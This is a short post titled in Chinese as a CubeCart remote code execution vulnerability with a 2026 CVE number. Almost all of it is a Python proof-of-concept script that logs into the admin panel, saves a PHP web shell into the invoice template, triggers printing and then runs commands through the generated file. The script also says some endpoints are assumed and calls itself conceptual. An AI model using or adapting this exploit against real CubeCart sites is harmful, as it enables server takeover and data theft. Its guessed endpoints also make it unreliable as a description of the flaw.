CVE-2026-45708 CubeCart远程代码执行漏洞

import requests # Configuration target_url = "http://example.com" admin_username = "admin" admin_password = "password" # 1. Login to get session session = requests.Session() login_payload = { "username": admin_username, "password": admin_password } login_resp = session.post(f"{target_url}/admin.php", data=login_payload) if "dashboard" not in login_resp.text: print("Login failed") exit() # 2. Inject PHP code into Invoice Editor # Note: The actual endpoint/parameters might differ based on CubeCart version malicious_php = "<?php system($_GET['cmd']); ?>" edit_payload = { "document_content": malicious_php, "action": "save_invoice_template" } # Assuming endpoint for saving document session.post(f"{target_url}/admin.php?_g=documents", data=edit_payload) print("[+] Malicious code injected.") # 3. Trigger Print (Simulate admin clicking print) # This generates the print.<md5>.php file print_trigger_url = f"{target_url}/admin.php?_g=orders&action=print" trigger_resp = session.get(print_trigger_url) # 4. Exploit (Access the generated file) # In a real scenario, we would need to guess or find the MD5 hash. # This is a conceptual demonstration. print("[+] Attempting to access the generated shell...") # Example: http://example.com/files/print.e10adc3949ba59abbe56e057f20f883e.php exploit_url = f"{target_url}/files/print.e10adc3949ba59abbe56e057f20f883e.php?cmd=whoami" # Attacker does not need session for this step due to .htaccess configuration exploit_resp = requests.get(exploit_url) print(f"[+] Response: {exploit_resp.text}")